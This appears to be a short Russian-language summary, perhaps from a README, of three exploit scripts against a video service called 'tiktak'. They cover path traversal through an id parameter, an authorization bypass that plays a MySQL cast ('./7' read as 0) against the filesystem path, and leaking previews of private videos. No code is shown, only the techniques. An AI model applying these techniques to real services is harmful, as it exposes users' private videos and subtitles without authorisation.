- tiktak_vtt_path_traversal.py: ../ в ?id=, подбирает рабочий шаблон
один раз и переиспользует на остальных ID.
- tiktak_vtt_auth_bypass.py: рассинхрон SQL/FS ('./7' => MySQL 0, файл
public/vtt/7.vtt), работает даже если запатчат только traversal.
- tiktak_private_preview_leak.py: резкое превью приватного видео,
OCR опционален, без pytesseract молча не печатает мусор в stdout.
